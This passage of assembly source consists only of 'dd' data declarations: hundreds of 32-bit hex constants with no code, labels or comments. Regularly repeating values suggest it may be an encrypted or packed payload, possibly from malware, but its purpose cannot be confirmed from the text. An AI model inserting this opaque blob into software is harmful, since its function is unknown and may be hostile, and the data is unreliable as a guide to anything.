		dd 0E00B2996h, 26C8B529h, 39E726C7h, 73CE6FD1h,	968595E8h
		dd 1151229h, 0B31CA38Ah, 8596535Ah, 299685F4h, 0D97DB471h
		dd 8B31CE63h, 673F0D80h, 46EB2082h, 71183EF3h, 93E675CCh
		dd 10299617h, 8C3D0313h, 0B4557863h, 7FA16841h,	0D182B782h
		dd 299685A8h, 60D67825h, 94BF7AC7h, 299685E9h, 9E3EB966h
		dd 0CE6FC569h, 787D8831h, 815E8DA1h, 85FE7F9Ch,	0A5B62996h
		dd 299685D4h, 0B5725451h, 913AC57Ch, 86A88174h,	2346CEB0h
		dd 0A00732E9h, 57B98393h, 6FAA638Ch, 90A66788h,	0E873CEAAh
		dd 29968595h, 0E8011512h, 0FF46CE48h, 63F35ED4h, 116CDF6Fh
		dd 0C9299664h, 639AE370h, 6A172996h, 59EF6EC4h,	8CA74E9Ch
		dd 0CE76AA63h, 827D8831h, 6B3EAF5Ch, 71C871CBh,	968597E2h
		dd 97351429h, 61A88174h, 648C67CDh, 0BE827DABh,	4F8C31CEh
		dd 7B2E9F6Eh, 0C46A3FB6h, 9685F881h, 648CB729h,	608976ABh
		dd 8D424488h, 5D94157Ch, 68D183B9h, 0A57D694Fh,	50236E3Eh
		dd 0EE44EA1Fh, 0B55B46CEh, 4832CDFAh, 2EAB384h,	0F6181CE2h
		dd 237D6F7h, 1D31D4F5h,	40B78217h, 6EC46A9Bh, 91FE46CEh
		dd 91A6D784h, 66232995h, 70DD9A8Eh, 60AF0FDEh, 6BA03EB9h
		dd 73CE75CBh, 968595E8h, 1151229h, 1F2148E8h, 0CEA74E9Ch
		dd 6E808B31h, 91AF5E7Fh, 6F4F68D1h, 4E5F2DA0h, 0EC1FF967h
		dd 181E30F9h, 76AB648Ch, 92A45F89h, 0CE6FD1ACh,	9685EC8Dh
		dd 43BC6929h, 0BC827299h, 95E873CEh, 0B299685h,	0C9B628DFh
		dd 8C04BC25h, 0CDC28D63h, 0C402FC31h, 0FDEBD40Dh, 5BD8F06h
		dd 0EA978EC0h, 0A298BE73h, 648CBE82h, 0CE8F31ABh, 0E7F8A31h
		dd 0DD7EBB5Bh, 299685A0h, 0D1B86815h, 9E6D4F68h, 5BAC1017h
		dd 0CEBA8096h, 17808B31h, 845558B7h, 815A8372h,	7227AE59h
		dd 9CB782B7h, 299685E1h, 0A78DA15Eh, 73CE6FD1h,	968595E8h
		dd 0EC151229h, 96854E2Fh, 38DECB29h, 31CE4FEDh,	7D6C828Dh
		dd 827AAE61h, 5CB089BEh, 571D4234h, 772A126h, 84299637h
		dd 76BC5297h, 85EC8DCEh, 30A42996h, 0EA37F06Ah,	0A51B95FDh
		dd 35DBEFC5h, 6815DD71h, 9168D1B8h, 9685F782h, 7C977429h
		dd 29968601h, 0A648817Eh, 0E873CE90h, 29968595h, 0A429E00Bh
		dd 0AB1411F5h, 14C5C83Fh, 8C082E02h, 7659BB64h,	0EA50C5C9h
		dd 0EA720B28h, 0FFD2995h, 3235FCFDh, 0D9100DF1h, 0E873CE27h
		dd 29968595h, 37011512h, 8E648CD9h, 0C87D95Eh, 0FF21E8E8h
		dd 0C8E346CEh, 4897C5Dh, 48407F55h, 0D8A14AECh,	0FF0FFEDFh
		dd 8595E839h, 0B24D2996h, 21F8FD0Ah, 59EF270Dh,	8CA74E9Ch
		dd 9E76AB64h, 0A439A48Ch, 0F44AEC65h, 628C6FD1h, 5B9C70A9h
		dd 32BD76F2h, 827BC155h
		dd 6FA040B7h, 46CE59DFh, 5ECCD391h, 430628A3h, 2995A33Ah
		dd 8C628CF9h, 0BC2082BCh, 3D8F4A4Bh, 0C70264A6h, 512CE712h
		dd 0CE299684h, 50AE6D1h, 6FD14BF1h, 7DAB648Ch, 9F55B782h
		dd 6E549C0Fh, 49BC1D9Ah, 0BB819544h, 828D31CEh,	39B85E0Bh
		dd 36C17893h, 5CE27499h, 608CBE82h, 984126A7h, 46B1686Dh
		dd 1F6D60A5h, 5024FAE8h, 908F6567h, 43B1998Ch, 3DBA6F96h
		dd 74CA6C9Fh, 8CA74E9Ch, 0CFC98E64h, 26109024h,	456628CEh
		dd 9C55CA2Bh, 4F68D16Ch, 41189D6Ch, 31CE87ADh, 19D87E89h
		dd 2BA158B3h, 1146B869h, 6FC569F2h, 6E4F68D1h, 89A98F9Fh
		dd 8A31CEB7h, 0BA766F7Fh, 7F8A31CEh, 0AF60806Fh, 40B78291h
		dd 0B1686D9Eh, 7263A846h, 89A197B7h, 0D046CEB7h, 2E3F8D9Fh
		dd 19EECEC9h, 0F60138F5h, 0EEBB32D7h, 0EE780548h, 0A4282995h
		dd 13B28FE7h, 8D805DB2h, 76985108h, 0CE5F817Eh,	8595E873h
		dd 15122996h, 8CD93701h, 8976AB64h, 0AA90A661h,	95E873CEh
		dd 12299685h, 9D10F7E3h, 47F105CCh, 6C5CEAE2h, 48FE10D9h
		dd 0B78990A6h, 95E873CEh, 12299685h, 48E80115h,	7E8931CEh
		dd 5D4AA277h, 0CAE418B7h, 23D944EAh, 78A8618Ch,	828D31CEh
		dd 2FB85E0Bh, 0D8B8828Ah, 55AF6B25h, 800E6FACh,	9E8B2996h
		dd 0B789C278h, 85EC8DCEh, 9F692996h, 0AB3E9FFh,	3C6BB103h
		dd 0CE6C9C55h, 8595E873h, 15122996h, 0E5D23701h, 46EC0205h
		dd 528C628Ch, 5F79F68h,	2FD24EDh, 0F1A82DDAh, 73CED75Dh
		dd 968595E8h, 0AA151229h, 1ACFC643h, 0B14EEBF4h, 48EE000Bh
		dd 95E881C7h, 4D299685h, 851667F4h, 5F8C2996h, 0B34340A6h
		dd 9C1F218Dh, 79C0A74Eh, 26A75C7Eh, 0E6F95756h,	89406DFAh
		dd 31CECF65h, 0BA6E808Bh, 89B0897Ch, 9685AFCAh,	0D1AC6729h
		dd 4E299685h, 9EB06D51h, 8C73CE98h, 0C184AA63h,	299685B8h
		dd 68914835h, 9685D2ABh, 0BC524F29h, 4F68D176h,	0BA249B6Ah
		dd 698D5C51h, 0A9628CD3h, 0A8B38E2Bh, 299685D5h, 6FAC5552h
		dd 2996860Eh, 0C2789E8Bh, 217B46CEh, 0AAE3C0DAh, 0CEA55B84h
		dd 8595E873h, 15122996h, 852B4E01h, 0EFEA2996h,	9E757A52h
		dd 88B15EA0h, 46CED066h, 1329642Ch, 8A799DB7h, 0C925925Ch
		dd 898AB046h, 0E646CEB7h, 0D47C6F65h, 0D546FFABh, 2A08D0FFh
		dd 934647C4h, 8E79615Eh, 6FBC5207h, 788B2DCAh, 290A73D6h
		dd 0AA872996h, 96291069h, 59908D29h, 55B417A0h,	31CE7BC1h
		dd 9C714E8Bh, 65894019h, 0B78975CBh, 628CBE82h,	3BB25177h
		dd 0BC47716Eh, 68D1D375h, 139A694Fh, 96715946h,	8EA44A1Fh
		dd 95E873CEh, 12299685h, 2D0115h, 855F1A39h, 1FDC2996h
		dd 95E8290Fh, 54299685h, 876552EFh, 0B6581184h,	0A74E9C80h
		dd 0C19379C0h, 0B635FE94h, 0CEF349EDh, 275F8731h, 2C812062h
		dd 7382945Dh, 0CE1EC249h, 8B2DD246h, 930C7600h,	9952E42Bh
		dd 8FEA29D0h, 0C299626h, 2689F41Fh, 19062996h, 0E8F83ED0h
		dd 29968595h, 0AA638C54h, 559B4423h, 7142427h, 931ACF32h
		dd 91E32C94h, 0ACB66876h, 4CE73D8Fh, 473C6FA4h,	46CE91A7h
		dd 33B7759Eh, 4C6E6933h, 0D36336B7h, 6F882634h,	1BCEBF4Eh
		dd 628C45FBh, 6FD177A9h, 70A9628Ch, 26A76687h, 825DE373h
		dd 0E873CEBEh, 29968595h, 0BB2BE20Bh, 1BD62F9Ch, 852558FBh
		dd 24DD2996h, 853B3EDDh, 0CBB82996h, 96854D30h,	0E2DDCA29h
		dd 39FF0FFCh, 32E11821h, 29968547h, 0E7EE21BDh,	3FCFCC32h
		dd 0A546CEF9h, 7677B0D6h, 1240BF4Fh, 9077635Ch,	94AA4C1Dh
		dd 818C31CEh, 3AB95D0Ch, 65A84594h, 0D070B970h,	496468D1h
		dd 79D0D8B5h, 6F1D2E86h, 0D3DE188h, 46CE53E9h, 15B9018Fh
		dd 6D2812FAh, 6A889CB2h, 7F8A31CEh, 85A1DC6Fh, 21602996h
		dd 4732E118h, 0C4299685h, 0CBC245A5h, 0FD43D31Eh, 0C0A74E9Ch
		dd 3E879379h, 34886A40h, 628C1C22h, 31CE77A9h, 5D0C818Ch
		dd 6A8C7962h, 0A354B881h, 0ED90CB2Eh, 6A2995FEh, 8B2057BDh
		dd 0CE241A3Ch, 9685EC8Dh, 40BC6929h, 73009577h,	2CFAABBh
		dd 0AF413CD7h, 0C1BE2995h, 8DCE072Dh, 299685ECh, 0BBBE5DA4h
		dd 31299685h, 5F1C828Dh, 0C67A27CFh, 0B0896FD1h, 3CDC0D5Ch
		dd 0F122449Ch, 2995F488h, 3DD11805h, 0E873CEF7h, 29968595h
		dd 83F62512h, 299685h, 0B28CE03h, 96852D50h, 4E0DAA29h
		dd 2996852Bh, 0B36FBA8h, 0B73EC7F4h, 0CEE64CE2h, 6D818C31h
		dd 0A24AB574h, 95B97065h, 0E873CE9Fh, 29968595h, 13FAE312h
		dd 13B938DEh, 16B641F8h, 0D1D75DF1h, 0D1F1A16Fh, 0B7B4BBDAh
		dd 55837C3Dh, 0CEB288AEh, 0EC8DCE73h, 69299685h, 0A31758BCh
		dd 6D415522h, 61F386C9h, 0B3702996h, 0C06FD195h, 0EA93C079h
		dd 67299685h, 8C9E94BAh, 886FAA63h, 7326A768h, 0BE825DE3h
		dd 85EC8DCEh, 0BC692996h, 73CE7E40h, 90A65F8Ch,	9685BCBDh
		dd 74CD7429h, 968596E7h, 5161329h, 29968574h, 21CB34F1h
		dd 2036E3EAh, 0CEFD2BD8h, 0E2457346h, 84AA2B90h, 66878DAAh
		dd 50F371C9h, 0CE93A94Dh, 7A80DB46h, 4BEB613Fh,	96BCC508h
		dd 0F9E2DD29h, 0A114F1DAh, 0DD8C01C8h, 5F8C0339h, 85D4A5B6h
		dd 0CF8C2996h, 299685AEh, 9B887E2Bh, 9A29AB56h,	1C98F919h
		dd 199C714Eh, 0CF658940h, 828D31CEh, 5EB6736Ch,	75680F7h
		dd 7DC353DAh, 2DA7608Ch, 0EC8DCE93h, 69299685h,	32A3608Ah
		dd 7065A845h, 569C70B9h, 5E35731Bh, 0CE063AEFh,	0EBDA7246h
		dd 33C3AB89h, 3AD92009h, 29958C3Fh, 92FBFBCh, 51826790h
		dd 0B468A16Ch, 4169FF5Ah, 96856712h, 0D537E429h, 21841BB7h
		dd 0F414DD75h, 0BAA58DCEh, 0F3B02F8Fh, 0FE09B14Eh, 3ACBF0F7h
		dd 0B2BE6B3h, 0E873CE35h, 29968595h, 0E8011512h, 0F419B641h
		dd 0B789DC62h, 8DCE73CEh, 299685ECh, 0DE9FBC69h, 5B299685h
		dd 0A15F88AEh, 76AA638Ch, 829168D1h, 299685F7h,	96795574h
		dd 8C85BB5Bh, 8278A861h, 0A8D182B7h, 25299685h,	0E860D678h
		dd 299693ABh, 8981C73Eh, 8D31CEB7h, 199C6D50h, 55048940h
		dd 32CD74C1h, 76D97D8Ah, 29968603h, 6D9644BBh, 0D47431C9h
		dd 73CE6FD1h, 968595E8h, 1151229h, 0E509C8F2h, 0CE41DF2Ah
		dd 1D0C4046h, 0AD4194A7h, 31CE7C34h, 9B704E8Bh,	648A3F1Ah
		dd 968598E1h, 607C5029h, 0A6C1A912h, 480115F7h,	0AFD103BAh
		dd 31CE999Fh, 9A694F8Ch, 1069AA4Fh, 8D299686h, 496F7E90h
		dd 68D186BAh, 20590164h, 0BD512095h, 0CEB78977h, 0B873A173h
		dd 689BDE7Dh, 6B182996h, 4F12A989h, 0E2F18CBFh,	0EA92995h
		dd 86535AAFh, 81698870h, 5D5A0F86h, 0A5438E81h,	7AE8BE82h
		dd 6F562300h, 31CE1F21h, 8E6D818Ch, 618CB540h, 887425A8h
		dd 8C73CEB6h, 4FA98E64h, 0A69DD044h, 9FAF6A6Bh,	95BDD1ACh
		dd 506E8929h, 8F2D3ABBh, 59A1B57Ch, 75135D8Fh, 5C5EB659h
		dd 23ECD4AEh, 0F732F7B2h, 8C73CE49h, 0D3A6B55Eh, 50299685h
		dd 42179E53h, 85E099ACh, 61982996h, 9685C7B2h, 0C8254429h
		dd 50995045h, 904936BEh, 5045C427h, 0D1BF7599h,	47B0896Fh
		dd 749936A7h, 0CD61A881h, 0EC8DCE67h, 69299685h, 73CE8CBCh
		dd 85EC8DCEh, 0BC692996h, 9685DE9Fh, 4F7C5B29h,	9F6A3FB6h
		dd 2C93568Fh, 95AB4BC4h, 83A55E8Ch, 618CBE82h, 994225A8h
		dd 689F696Ch, 0A89EA47Ah, 73A046CEh, 0B178F7BDh, 0C5705E9Dh
		dd 2DA7608Ch, 0D3A6B58Ch, 49299685h, 0B36667A2h, 45563953h
		dd 48847025h, 0CEC76D81h
		dd 8595E873h, 15122996h, 340D3401h, 96855627h, 0EA23CC29h
		dd 64E707F4h, 29968519h, 308E6D1h, 34010BF3h, 84ABCF23h
		dd 0CEF828E1h, 0A64A8731h, 7C2DA069h, 3DB05783h, 946DCA6Ch
		dd 85CBAE6Dh, 0D8832996h, 299685A5h, 84816522h,	0B658AF1Bh
		dd 9685EA93h, 89CA6729h, 299685F0h, 0B828766h, 76BB685Eh
		dd 713A49CBh, 595F7F19h, 68D17FB5h, 0D2AB6891h,	4F299685h
		dd 85B8C152h, 48352996h, 0B78990A6h, 7F8A31CEh,	9577C26Fh
		dd 59DE01E5h, 4AFD11F3h, 2995F32Fh, 0CE51EFACh,	4DFC1046h
		dd 0CF5F5229h, 7AE85A16h, 68562300h, 1A9B6A4Fh,	0EF89AF3Fh
		dd 6C67A52h, 9577943Ah,	0F91D33C3h, 0A04E9C43h,	0A73A059h
		dd 87299686h, 8600799Ah, 807D2996h, 8DCEC86Eh, 299685ECh
		dd 2B85CC77h, 0B92D1DA7h, 0CE2ED0CCh, 8595E873h, 15122996h
		dd 70D3401h, 0C145CE9Ah, 0F18CC773h, 6E299663h,	5B7F78B1h
		dd 0DE7029ACh, 9664126Bh, 7F608F29h, 9752078Eh,	94775562h
		dd 4B013E40h, 28CE55C6h, 0EC8DCE12h, 69299685h,	73CE8CBCh
		dd 85EC8DCEh, 0BC692996h, 9685DE9Fh, 0B81F6929h, 6DFBC1FCh
		dd 0A7138C79h, 9ABC6D60h, 7B9577A0h, 93E675BEh,	102995AEh
		dd 452BC113h, 0CE5BE175h, 6FD5746h, 41AA9A16h, 0D118D1C4h
		dd 0F70CAE3Dh, 0F114B542h, 3CD3FBFCh, 29E60AF5h, 0DB61F5A4h
		dd 95E873CEh, 12299685h, 0D9370115h, 7D8831CEh,	5E8DA178h
		dd 0D1568A7Fh, 0F7829168h, 74299685h, 5BAC1087h, 0C96F7F5Ah
		dd 608831CEh, 0B49D45A4h, 0F53C69h, 7E60529h, 62A2ACE5h
		dd 51088D7Ah, 25690F7Bh, 0F4F916BAh, 0CE3CEC25h, 0DD7C8046h
		dd 37D74691h, 95E812AEh, 54299685h, 23AA638Ch, 82739C44h
		dd 8C8D30A7h, 9685AECFh, 0B37E2B29h, 232F5642h,	5D5AE77Bh
		dd 52078E81h, 4E9C76BCh, 0BFBA59A0h, 3C299685h,	0D5566D3Fh
		dd 9114FD5h, 618C4FE5h,	7CB55A76h, 77943AC5h, 73CE61D7h
		dd 968595E8h, 38F81229h, 60F1C1CAh, 8CC772B7h, 299670F1h
		dd 939DB16Eh, 0A7628976h, 5DE37326h, 818C31CEh,	0BA5F7E6Dh
		dd 9685E099h, 69A05D29h, 0CEBE82B7h, 8595E873h,	15122996h
		dd 852B4E01h, 1EE32996h, 2DCE39A1h, 2996854Ch, 43ADCC9h
		dd 866552EFh, 0B7571283h, 0A74E9C81h, 78A8618Ch, 7D8831CEh
		dd 0A38DA178h, 5221A18Dh, 585072AAh, 31CEA25Ch,	10D97D88h
		dd 0E873CE70h, 29968595h, 0F2011512h, 0FC033ECBh, 1A2036CFh
		dd 9B40B782h, 896EC46Ah, 0F08DCEB7h, 65299685h,	67A26786h
		dd 0CE6FD1B9h, 0E7F8A31h, 85CDB06Bh, 5D4A2996h,	48738294h
		dd 0CCBCCDA4h, 0A0BBB7E3h, 2995B7DDh, 0AD64AD5Ah, 0CE6FD17Bh
		dd 57C92B46h, 95D9C1BCh, 6B413E29h, 61F58C5Fh, 0E7AD1FC6h
		dd 0D527C4DAh, 8687684Fh, 75E8CA70h, 742996A9h,	0E5A173CEh
		dd 0F808DE61h, 0A7A8D162h, 78252995h, 58B717D6h, 0C4532BA1h
		dd 0B545B95Ch, 0BE829BA1h, 0A347B089h, 96B87164h, 8C73CEA0h
		dd 7326A760h, 860D70E3h, 4FC52996h, 80994ECEh, 43C82633h
		dd 0BC529752h, 67924734h, 9623D1ACh, 0D8344E29h, 0E80BA12Bh
		dd 44FA1CD5h, 25A246CEh, 0FB2A5BBh, 0D435FFh, 0C0824387h
		dd 1E143AEBh, 7CA55E8Ch, 58825B83h, 0BA6F2AABh,	52796633h
		dd 82A197B7h, 6D9E40B7h, 81C773C9h, 968595E8h, 628C5429h
		dd 6E5824A9h, 0AFF0CB54h, 50B7239Ch, 4EBD5Dh, 0CE38F65Eh
		dd 0F81A9246h, 960A225Bh, 0AE29F29h, 6589E981h,	0CEAD4896h
		dd 0D808B31h, 0D16FBA5Ch, 428C628Ch, 8A02AF5Ch,	0C1EC07ADh
		dd 7FF29BEBh, 0AE63AE5Dh, 8731CE7Ah, 6811DA7Ch,	8EA06F4Fh
		dd 5CB089A8h, 8DC3DC86h, 0E157F7DCh, 85EC8DCEh,	0BC692996h
		dd 0E86FD18Ch, 954FDF0Ch, 8831CEDDh, 0C084787Dh, 32D2198Eh
		dd 0D42333FEh, 0FFF821EAh, 0F6A32AD9h, 31CEDA60h, 5E0B828Dh
		dd 8CA07EB8h, 847BA65Fh, 0B389AD56h, 628CBE82h,	41B45377h
		dd 827FA168h, 2A8855B7h, 0C6C73C9Eh, 7DE8C113h,	8E3A43D0h
		dd 0CAB72995h, 0CE49EFFFh, 8595E873h, 9202996h,	723DB855h
		dd 54B86559h, 0D63B68FEh, 0B938DE64h, 0B34CF510h, 48EE0007h
		dd 5F8C6FD1h, 85D4A5B6h, 64512996h, 9685C6B7h, 8B464329h
		dd 0B782A246h, 923A9D40h, 0A49ABC75h, 618C73CEh, 0E77425A8h
		dd 29968596h, 0F1001613h, 0D10C3CC7h, 74926468h, 25E8DF8Fh
		dd 73CE2B11h, 968595E8h, 0FBE31229h, 0BA39DD14h, 0D154F411h
		dd 47B0896Fh, 857263A2h, 0C668A164h, 8CBE8270h,	0B6557762h
		dd 7A9F6A3Fh, 85E994BFh, 0B9662996h, 31CE9F95h,	60DA7C87h
		dd 0A8D182B7h, 25299685h, 0C760D678h, 8731CE81h, 8EA0797Ch
		dd 9685C2BBh, 94BF7A29h, 299685E9h, 5E8C9C66h, 0F6A48A45h
		dd 0EF251B3Bh, 8B31CE59h, 51986D4Eh, 9A698D5Ch,	80C0A94Ch
		dd 0DD2C25E8h, 9D42BDBDh, 0EF8AC970h, 6C954FDEh, 8C999FAFh
		dd 9E76AB64h, 11A7B61Eh, 0B58BAB55h, 0D14346CEh, 92144812h
		dd 4D40C325h, 57C07A9Ch, 538E7F60h, 9624B5C8h, 0E1753229h
		dd 8931CE5Bh, 0B519D87Eh, 4647C828h, 860578A3h,	85822996h
		dd 0A36A534Ch, 0BE82BA6Eh, 7D8831CEh, 69118478h, 0B516C9D0h
		dd 0AD1BDA7Ch, 0B782B256h, 0D97A9B40h, 299685A0h, 85A9601Dh
		dd 0AA638CAFh, 729B4423h, 64729D7Bh, 0CEA2A0BAh, 0B9E5246h
		dd 6D81928Bh, 8CB5408Eh, 0CE7DAB64h, 0A34B8831h, 0A791A56Ch
		dd 885E8C89h, 4053D886h, 8EEF2C71h, 0B299641h, 0EA1ED31Eh
		dd 818C31CEh, 7FB95D0Ch, 0AA638CA1h, 0BCF29D6Fh, 4FD5CE1h
		dd 36D82F9Bh, 8731CE00h, 0F083797Ch, 0A4EBEF8Ch, 5D86A861h
		dd 50B7239Ch, 0FECA137Ch, 22343EEEh, 0AB648C1Ch, 0A7628976h
		dd 5DE37326h, 95E873CEh, 12299685h, 48E80115h, 26A7608Ch
		dd 676E9941h, 433E2CE3h, 875EAEAh, 0FFD9104Ch, 0E81BBD3Ah
		dd 2DDA02E5h, 9CEC52E4h, 638CA74Eh, 85E099BAh, 0A05D2996h
		dd 73CEB769h, 968595E8h, 1151229h, 0E2FAD237h, 48F42B39h
		dd 0A965D3C3h, 1D706743h, 46CE43F9h, 0A8485B0Dh, 0C928CE65h
		dd 2059FA25h, 9D299646h, 5EFC0CE0h, 3231DF5h, 46CE1ACEh
		dd 567C1EEh, 151F2FEDh,	3AE10BF4h, 95ED6019h, 0E920DD29h
		dd 631645E4h, 0E02995EDh, 0FA06EE23h, 0C479E351h, 8C0D33C3h
		dd 0CE76AA63h, 0C818C31h, 9030B95Dh, 7F8A31CEh,	14A43E0Eh
		dd 0CB154E1h, 15F2DAC5h, 912C4E01h, 0D5E22995h,	11F8E3F8h
		dd 9104CD9Ch, 838D14BBh, 0F33EB8C6h, 648CDD63h,	9E3D2AABh
		dd 5F7D6A6Bh, 99C5A0ACh, 3B063BC5h, 96855D20h, 92DDA29h
		dd 0A04E9C33h, 5558B717h, 0CECC7284h, 6C828D31h, 2F53C597h
		dd 0C726914Dh, 9059AA10h, 83CFAA69h, 4F4C2996h,	68363BFh
		dd 0CEC50000h, 94CEC946h, 31C57D19h, 0DFF1CC2h,	0CD529199h
		dd 0F38695B6h, 70299666h, 64AD5881h, 628B74ADh,	0CEB58BABh
		dd 83F9DA46h, 143A6AC2h, 46CE35CBh, 21583EFDh, 46092DC9h
		dd 2995A932h, 0A9628CF3h, 0A8678770h, 46CEB086h, 0B3427813h
		dd 0CE419DC5h, 0E749F303h, 95E873CEh, 12299685h, 9E0FF6E3h
		dd 1F006CBh, 30DFFFDCh,	31CE47F9h, 766F7F8Ah, 0DCDDE8BAh
		dd 0EF0C3F10h, 0E873CE59h, 29968595h, 2011512h,	31CE21D4h
		dd 7E6D818Ch, 0CC75AC61h, 9685EE8Fh, 98BE6B29h,	6468D1A2h
		dd 2231B915h, 29966957h, 0BEC527D4h, 9E94BA35h,	818C31CEh
		dd 49C02B0Ch, 5E7F6E80h, 69CB5C92h, 5CC8A64h, 8831CEE3h
		dd 0AC59827Dh, 5DE7029h
		dd 8C31CE6Bh, 607E6D81h, 0E49BEC8Eh, 0FABA12FBh, 0C779B089h
		dd 7F8A31CEh, 4CB3766Fh, 0B6636AA3h, 608C9AA0h,	85E19CB7h
		dd 0A15E2996h, 58826568h, 0A3D22AABh, 0F316B5B7h, 58E22702h
		dd 0A74E9CEAh, 8F8A31CEh, 9685F984h, 40897629h,	96B79B6Ch
		dd 38DE46F4h, 47F914B9h, 31CE6FD1h, 7E6D818Ch, 9B71A85Dh
		dd 1D4D6B82h, 5DE37397h, 4DE8BE82h, 953708FAh, 29EE5E3Fh
		dd 698DD223h, 8A31CED3h, 0BB5B0E7Fh, 0D2768F3Ch, 0FAA946CEh
		dd 0E6CE3D9Fh, 81956C9Dh, 73CE59B7h, 968595E8h,	1151229h
		dd 96A5464Eh, 31CECF29h, 986B4D8Ah, 88D4415h, 8C2EBD51h
		dd 7263A645h, 82CE72B7h, 0AA638CBEh, 73CE942Ah,	0D11BEA1h
		dd 2B94AD7Ch, 9DB046BDh, 29958DDCh, 0CE7CAC59h,	0A55E8C73h
		dd 9685E396h, 93A36029h, 448C80A9h, 0BBF5AD16h,	0E8053BDBh
		dd 6281F80Eh, 8731CEDBh, 0A3B0797Ch, 299685DAh,	0CF5FAA57h
		dd 9749BA20h, 6D4F68D1h, 0AC42179Eh, 8931CE86h,	0A1B2777Eh
		dd 299685D8h, 0CD61A855h, 9947BC1Eh, 7D8831CEh,	548DA178h
		dd 13C22A95h, 84AA5FA6h, 8A31CEAEh, 0BB5B0E7Fh,	27868998h
		dd 5E8C002Eh, 0A34730A5h, 0EC1B7164h, 37CCEEFEh, 1E2EE3B6h
		dd 0AC617E79h, 0D8D05329h, 1D1B276Fh, 9CFC42D4h, 0B617A04Eh
		dd 4B42C525h, 836C539Eh, 0CECE648Ah, 8A0C0046h,	961BB0C9h
		dd 9C702D29h, 6D81BE65h, 72A75C7Eh, 8EF18CC7h, 82672995h
		dd 67571283h, 0D19E94BAh, 0A55E8C6Fh, 8931CE83h, 6A0FD87Eh
		dd 0D0A96A8Fh, 4D299685h, 85BAC350h, 4A372996h,	84F18EA4h
		dd 0DCFEF940h, 68F3A627h, 29968515h, 84EB8ECDh,	0BB682996h
		dd 0DB765E4Bh, 2F361AF0h, 0C8A49ABCh, 0A74E9C78h, 77885E8Ch
		dd 0E7A06227h, 0DAA4F9Ah, 81585DB0h, 31CEC76Dh,	69A24C89h
		dd 0DA7C2DA0h, 46CEBE60h, 0DFDA9D7Bh, 0ABD6E40h, 96A8A068h
		dd 8E3CBB5Bh, 8933CC75h, 0B85E0B82h, 8931CE82h,	710FD87Eh
		dd 517311E8h, 0EB28D149h, 9DB9892h, 36FC120Fh, 51023702h
		dd 29968528h, 0E056F8A5h, 95E873CEh, 12299685h,	0D4020115h
		dd 735E8C21h, 0D808C148h, 5F8C6FD1h, 0B78282A6h, 85A8D182h
		dd 78252996h, 5E8C60D6h, 31CE83A5h, 766F7F8Ah, 69A24CB3h
		dd 59EF6FC5h, 2CA04E9Ch, 9129D280h, 0D6D00A4Bh,	0DC55D23Ah
		dd 0CE53E90Dh, 17808B31h, 886154B3h, 0B3628766h, 3A611161h
		dd 0C8536657h, 299636B5h, 8FCC7532h, 299636EEh,	0CE73BE6Bh
		dd 0A55E8C73h, 9FDA7930h, 1C299636h, 90C88D5Fh,	31D48B23h
		dd 6FD1171Dh, 1B6146CEh, 0AE7C78FCh, 677F6988h,	87DDE242h
		dd 0E90BE1EEh, 0B6AA067Bh, 0D1679950h, 98326468h, 3AF212EFh
		dd 648C1E14h, 0BE827DABh, 0A0FE6AE8h, 78C17877h, 8C0CA2DBh
		dd 0D1621FDBh, 0DB8C0CA8h, 5FA44625h, 0E076BB6Eh, 0CD46CE5Ah
		dd 0FC52884Eh, 537B7A9Ch, 0A28F85BCh, 0A0D97A52h, 1D299602h
		dd 90BF8C60h, 0CE91A747h, 8595E873h, 15122996h,	854E2FECh
		dd 0DECB2996h, 0E019FE38h, 96854A33h, 34DAC729h, 79648CFEh
		dd 6633BA55h, 72B75279h, 0AD8645C7h, 70A9E8D5h,	73CE58DEh
		dd 968595E8h, 6B0E4D29h, 0E8299685h, 2DEECB3Bh,	2996854Ch
		dd 0AA15DCC9h, 0BE27C744h, 31DA04FBh, 0CCE8171Dh, 1DA11F29h
		dd 0A5B65F8Ch, 299685D4h, 189D5451h, 595CAB0Fh,	18C614E3h
		dd 4E9C5B15h, 91392CA0h, 36C7E078h, 648C1A20h, 6FD17DABh
		dd 8C895F8Ch, 0D1A1478Bh, 0C0EBEABEh, 7051ACECh, 0BE73BE4Fh
		dd 0B9527C83h, 46CE9F95h, 0CF024953h, 0E20B2B3Ch, 4831E217h
		dd 0C529960Ch, 0CE0036D8h, 6735EE46h, 93A33599h, 75937C64h
		dd 9B40B782h, 8BB6636Ah, 9685ADD0h, 0D97D2A29h,	0A7608C63h
		dd 709B4126h, 0EAF80F7Dh, 9C7F4134h, 5F8CA74Eh,	290DAA89h
		dd 0C801CBB7h, 8931CE18h, 0C05ED87Eh, 6E4E46CEh, 82CA7A07h
		dd 0AE617D6Ch, 8831CE7Ah, 8DA1787Dh, 31CE8DA3h,	806F7F8Ah
		dd 0DC9DBE5Fh, 59299685h, 43BC65ACh, 0A8B36E95h, 299685D5h
		dd 7BC15552h, 7F8A31CEh, 32BB5B0Eh, 0B138E88Eh,	0EFB160F5h
		dd 8D31CE59h, 0B85E0B82h, 8C581D49h, 0D176AA63h, 0AA638C6Fh
		dd 0CEBE8276h, 443E1946h, 0DF1AFB64h, 95FB4934h, 35D9C629h
		dd 1DBE15B6h, 0D34E5E8h, 95FB2B4Eh, 36FBA829h, 0E7A090Bh
		dd 2E6BF859h, 0A1787D92h, 0CE70C668h, 0BF88C346h, 9598E994h
		dd 53B96629h, 3ADC5880h, 18210FB1h, 854732E1h, 54FF2996h
		dd 29968529h, 0E605F9A6h, 0DE8B0207h, 4C2DEE13h, 0C9299685h
		dd 0CE043ADCh, 6E808B31h, 14AB438Fh, 0BB6E5FA8h, 638CA59Bh
		dd 68D176AAh, 8F9F6E4Fh, 0AA638CA9h, 8D31CE76h,	615E0B82h
		dd 7F688E79h, 0B138E8C1h, 8CB160F5h, 3D2AAB64h,	0C465689Bh
		dd 9685E697h, 5AA66329h, 15772733h, 0EDD2ED14h,	5FFCAD20h
		dd 2996851Eh, 0F248EE9Bh, 32D46CEh, 0FDA1B128h,	0F9BCAA59h
		dd 6FAA638Ch, 808B539Dh, 0E20E906h, 8731CE28h, 0BE60DA7Ch
		dd 8A895F8Ch, 0A851494Dh, 0C037E227h, 0CDF1EE1Fh, 789E4B42h
		dd 0E873CEC2h, 29968595h, 0AF26DD0Bh, 6E504FAh,	0E28CE03h
		dd 0E873CE30h, 29968595h, 0F2011512h, 88684FCCh, 86116C87h
		dd 5F8E2996h, 8C458C7Bh, 88856A55h, 7CC25405h, 6F8A6FD1h
		dd 0AF000016h, 0A77AAC5Dh, 23303794h, 2996375Ah, 4FDF2AD7h
		dd 8C31CEE9h, 617E6D81h, 608A75ACh, 74BD4871h, 0B086A881h
